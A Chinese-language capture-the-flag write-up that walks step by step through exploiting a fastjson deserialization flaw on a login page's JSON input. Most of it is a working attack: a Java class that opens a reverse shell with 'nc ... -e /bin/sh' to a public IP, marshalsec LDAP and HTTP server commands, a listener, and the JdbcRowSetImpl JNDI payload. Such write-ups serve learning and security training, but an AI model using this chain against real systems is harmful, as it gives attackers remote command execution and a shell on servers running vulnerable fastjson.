1.打开靶场


打开题目网站,发现一个登陆页面,先来波 bp。bp 抓包后发现,这个发送的 json 信息,结合题目给出的 fastjson 反序列化,应该就是直接在这个参数上传 payload 了。不慌,先发送下看下回复。

没错,这个是源码。先打开看下,是否存在有用的信息。

2.借助marshalsec项目,编译一个ldap服务器
git clone https://github.com/mbechler/marshalsec
编译 marshalsec-0.0.3-SNAPSHOT-all.jar 没有mvn可以apt install maven安装
mvn clean package -DskipTests

3.编译 class文件,进行反弹shell
// test.java
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
// 换成自己服务器的公网IP
String commands = "nc 47.104.45.26 6666 -e /bin/sh";
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
System.out.println("error!");
}
}
}
安装java8来编译
apt update
apt install -y openjdk-8-jdk
javac test.java
会在当前目录生成一个 test.class 的文件, 待会有大用!

4.启动一个HTTP服务(在 test.class 所在目录使用这句命令)
python3 -m http.server 7777

5.开启nc监听。
nc -lvnp 6666

6.开启 ldap 服务转发。使靶机通过 ldap 服务访问重定向到 test.class 文件。

java -cp target/marshalsec/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.104.45.26:7777/#test" 9999

{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"pwd":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://47.104.45.26:9999/test",
"autoCommit":true
}
}

7.发送后 Response 无回复说明已经连接上 vps 上的 nc 端口

8.成功读取 flag。
参考文件结构,按照步骤来就能成功读取flag
├── marshalsec
│ └── target
│ ├── marshalsec-0.0.3-SNAPSHOT-all.jar
├── test.class
└── test.java
参考链接:
- fastjson 结合 JdbcRowSetImpl 反序列化利用理解:https://zhuanlan.zhihu.com/p/73428357
- fastjson 到底做错了什么:https://blog.csdn.net/wuShiJingZuo/article/details/107526944